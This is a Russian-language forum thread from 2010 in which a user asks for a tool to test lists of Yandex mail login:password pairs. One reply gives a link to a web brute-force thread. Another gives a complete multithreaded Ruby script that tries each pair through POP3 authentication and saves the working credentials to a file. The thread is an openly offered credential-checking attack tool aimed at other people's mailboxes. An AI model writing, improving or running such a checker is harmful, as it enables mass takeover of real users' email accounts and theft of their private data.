Программка для яндекс почты.

Discussion in 'Уязвимости Mail-сервисов' started by Hixon10, 7 Feb 2010.

  1. Hixon10

    Hixon10 Banned

    Joined:
    6 Feb 2010
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Мне нужна программка, которая будет проверять правильны ли логин пароль, т.е. я пишу лист лог пасс, а она после проверка выдаёт те, которые подошли. Я не знаю есть ли она вообще, и как называется, но если есть, то дайте пож-та, или хотябы название этого софта.
     
  2. ho4yxa

    ho4yxa Member

    Joined:
    4 Feb 2010
    Messages:
    12
    Likes Received:
    7
    Reputations:
    0
    Чекер тебе нужен:) не видел в пабе я-чекеров ...
     
  3. emillord

    emillord Elder - Старейшина

    Joined:
    20 Jan 2008
    Messages:
    257
    Likes Received:
    443
    Reputations:
    255
    /thread109600-web+brute.html
    попробуй может настроишь)
     
  4. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    366
    Likes Received:
    115
    Reputations:
    23
    Писал на ruby под /\/\аil.ru, но под яндеx тоже должно работать если там pop3 включен.
    <infile> - фаил с мыло:пароль
    <threads count> - кол-во потоков
    <divider> - разделитель между мылом и паролем, по умолчанию пробел
    <outfile> - выходной фаил, по умолчанию <infile>_suc
    Code:
    #!/usr/bin/ruby
    require "net/pop"
    require 'mathn'
    
    if ARGV.size<2 or ARGV.size>4
      puts "<infile> <threads count> [<divider> <outfile>]"
      puts "Default divider is space ' '"
      puts "Default outfile is str(infile)+'_suc'"
      exit 
    end
    
    $infile=ARGV[0]
    $th_count=ARGV[1].to_i
    case ARGV.size
    when 3:
      $divider=ARGV[2]
    when 4:
      $divider=ARGV[2]
      $outfile=ARGV[3]
    else
      $divider=' '
      $outfile=$infile+'_suc'
    end
    starttime=Time.now.to_i
    puts "#{Time.now} START #{$infile}/#{$th_count}/#{$divider}/#{$outfile}"
    
    
    def sec2dhms(secs)
      time=secs.round.to_i
      days=(time/86400).to_i
      time-=days*86400
      hrs=(time/3600).to_i
      time-=hrs*3600
      mins=(time/60).to_i
      time-=mins*60
        
      return "#{days}D #{hrs}H #{mins}M #{time}S"
    end
    
    def try_auth(mail,pop_serv,pass)
      
            begin
              Net::POP3.auth_only(pop_serv, 110,mail, pass)
            rescue => e
              return 0
            end
      return 1 
    
    end
    
    def auth(mail,pass)
      pop_serv="pop."+mail.split("@")[1]
      return try_auth(mail,pop_serv,pass)
    end
    
    $inf=File.open($infile,"r")
    $good_count=0
    $all_count=0
    while !$inf.eof do
      while Thread.list.size>$th_count do sleep(1) end
      th=Thread.new do
            str=$inf.gets
            mail,pass=str.split($divider)
            #STDOUT.flush
            res="#{Time.now.strftime("%H:%M:%S")} #{mail}/#{pass.chop!}"
            #STDOUT.flush
            if auth(mail,pass)==1 
                  res+=" SUCCESS"
                  suc=File.open($outfile,'a')
                      suc.puts "#{mail}:#{pass}"
                      $good_count+=1
                  suc.close
            else
                  res+=" ============FAIL=========="
            end
            $all_count+=1
            puts res
      end
        
    end
    $inf.close
    while Thread.list.size>1 do sleep(1) end
    puts "#{Time.now} SUCCESSED #{$good_count}/#{$all_count} <-> #{$good_count.to_f/$all_count*100} % valid <-> #{sec2dhms(Time.now.to_i-starttime)}"